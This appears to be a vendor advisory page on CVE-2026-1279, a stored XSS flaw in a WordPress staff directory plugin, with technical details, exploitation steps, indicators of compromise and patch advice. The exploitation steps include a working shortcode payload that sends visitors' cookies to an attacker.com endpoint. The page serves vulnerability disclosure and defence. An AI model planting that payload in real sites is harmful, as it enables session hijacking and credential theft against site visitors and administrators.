CVE-2026-1279
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-1279 is a Stored Cross-Site Scripting (XSS) vulnerability in the Employee Directory – Staff Directory and Listing plugin for WordPress, affecting all versions up to and including 1.2.1. The flaw exists in the form_title parameter of the search_employee_directory shortcode due to insufficient input sanitization and output escaping. It was published on February 6, 2026, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-site Scripting). The vulnerable code resides in handler/mo-empdir-search_handler.php at line 29, where the form_title parameter passed to the search_employee_directory shortcode is rendered without proper sanitization or escaping. An authenticated attacker with at least Contributor-level access can embed a malicious JavaScript payload in the form_title parameter; the script is then stored and executed in the browser of any user who visits a page containing the injected shortcode (Wordfence, WordPress Plugin Trac).

Impact

Successful exploitation allows an authenticated contributor to persistently inject arbitrary JavaScript into WordPress pages, which executes in the context of every visitor's browser. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further attacks against site administrators. The scope is changed (S:C in CVSS), meaning the impact extends beyond the attacker's own session to all users viewing the affected page, with low confidentiality and integrity impact and no direct availability impact (Wordfence, Red Hat CVE).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Employee Directory – Staff Directory and Listing plugin (versions ≤ 1.2.1) using tools like WPScan or by inspecting page source for plugin-specific assets.
  2. Obtain Contributor access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
  3. Create or edit a page/post: Navigate to the WordPress editor and insert the [search_employee_directory] shortcode with a malicious form_title parameter, e.g., [search_employee_directory form_title="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
  4. Publish the content: Save and publish the page or post containing the injected shortcode.
  5. Trigger execution: When any site visitor (including administrators) loads the page, the stored script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Plugin Trac).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to pages containing the search_employee_directory shortcode with unusual or encoded values in the form_title parameter; audit log entries (if enabled) showing shortcode edits by Contributor-level users.
  • File System: Unexpected modifications to posts or pages in the WordPress database (wp_posts table) containing <script> tags or encoded JavaScript within [search_employee_directory] shortcode attributes.
  • Network: Outbound browser requests from site visitors to unknown external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from pages hosting the employee directory shortcode.
  • Process/Application: Browser console errors or unexpected JavaScript execution reported by users visiting employee directory pages.

Mitigation and workarounds

WordPress site administrators should update the Employee Directory – Staff Directory and Listing plugin to version 1.2.2 or later, which addresses the insufficient sanitization of the form_title parameter. The fix is reflected in the plugin's changeset on the WordPress Plugin Trac repository. As an interim workaround, restrict Contributor-level user registration and review existing pages for injected shortcode content. Limiting who can publish or edit content containing shortcodes also reduces exposure (Wordfence, WordPress Plugin Trac Changeset).

Community reactions

Wordfence included CVE-2026-1279 in its weekly WordPress vulnerability report for the period of February 2–8, 2026, as part of routine disclosure coverage. No notable independent researcher commentary, significant media coverage, or vendor statements beyond the initial Wordfence advisory have been identified (Wordfence Weekly Report).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-15991HIGH8.8
  • file-manager
NoYesAug 06, 2026
CVE-2026-15459HIGH8.1
  • wpmudev-updates
NoYesAug 06, 2026
CVE-2026-7529HIGH7.5
  • wisecampaign
NoYesAug 05, 2026
CVE-2026-18325HIGH7.2
  • forminator
NoYesAug 06, 2026
CVE-2026-16636HIGH7.2
  • fluent-smtp
NoYesAug 06, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management